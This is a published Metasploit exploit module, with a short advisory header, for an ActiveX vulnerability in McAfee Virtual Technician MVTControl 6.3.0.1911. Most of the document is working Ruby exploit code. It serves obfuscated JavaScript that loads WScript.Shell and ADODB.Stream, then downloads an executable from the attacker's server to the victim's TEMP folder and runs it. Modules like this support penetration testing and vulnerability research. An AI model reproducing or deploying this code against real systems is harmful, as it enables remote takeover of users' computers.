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McAfee Virtual Technician MVTControl 6.3.0.1911 GetObject Vulnerability

McAfee Virtual Technician MVTControl 6.3.0.1911 GetObject Vulnerability
Posted May 3, 2012
Authored by rgod, sinn3r | Site metasploit.com

This Metasploit modules exploits a vulnerability found in McAfee Virtual Technician's MVTControl. This ActiveX control can be abused by using the GetObject() function to load additional unsafe classes such as WScript.Shell, therefore allowing remote code execution under the context of the user.

tags | exploit, remote, shell, code execution, activex
MD5 | bbac038f59ff5043622883a24f875349

McAfee Virtual Technician MVTControl 6.3.0.1911 GetObject Vulnerability

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE

def initialize(info={})
super(update_info(info,
'Name' => "McAfee Virtual Technician MVTControl 6.3.0.1911 GetObject Vulnerability",
'Description' => %q{
This modules exploits a vulnerability found in McAfee Virtual Technician's
MVTControl. This ActiveX control can be abused by using the GetObject() function
to load additional unsafe classes such as WScript.Shell, therefore allowing remote
code execution under the context of the user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'rgod', #Initial discovery, Poc
'sinn3r' #Metasploit
],
'References' =>
[
[ 'EDB', '18805' ]
],
'Payload' =>
{
'BadChars' => "\x00",
},
'DefaultOptions' =>
{
'ExitFunction' => "none",
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ]
],
'Privileged' => false,
'DisclosureDate' => "Apr 30 2012",
'DefaultTarget' => 0))
end

def exploit
@payload_name = rand_text_alpha(rand(6) + 5) + ".exe"
super
end

def on_request_uri(cli, request)
agent = request.headers['User-Agent']

if agent !~ /MSIE \d/
print_error("Browser not supported: #{agent.to_s}")
send_not_found(cli)
return
end

if request.uri =~ /\.exe$/
return if ((p=regenerate_payload(cli))==nil)
data = generate_payload_exe({:code=>p.encoded})
print_status("Sending payload")
send_response(cli, data, {'Content-Type'=>'application/octet-stream'})
return
end

# <object classid='clsid:2EBE1406-BE0E-44E6-AE10-247A0C5AEDCF' id='obj'></object>
js = <<-JS
var obj = new ActiveXObject("MVT.MVTControl.6300");

var ws = obj.GetObject("WScript.Shell");
var ado = obj.GetObject("ADODB.Stream");
var e = ws.Environment("Process");
var url = document.location + "/#{@payload_name}";
var tmp = e.Item("TEMP") + "\\\\#{@payload_name}";

var xml = new ActiveXObject("Microsoft.XMLHTTP");
xml.open("GET", url, false);
xml.send(null);
res = xml.responseBody;

ado.Type = 1;
ado.Mode = 3;
ado.Open();
ado.Write(res);
ado.SaveToFile(tmp);
ws.Run(tmp, 0);
JS

js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate

html = <<-EOS
<html>
<head>
</head>
<body>
<script defer=defer>
#{js}
</script>
</body>
</html>
EOS

print_status("Sending html")
send_response(cli, html, {'Content-Type'=>'text/html'})

end

end

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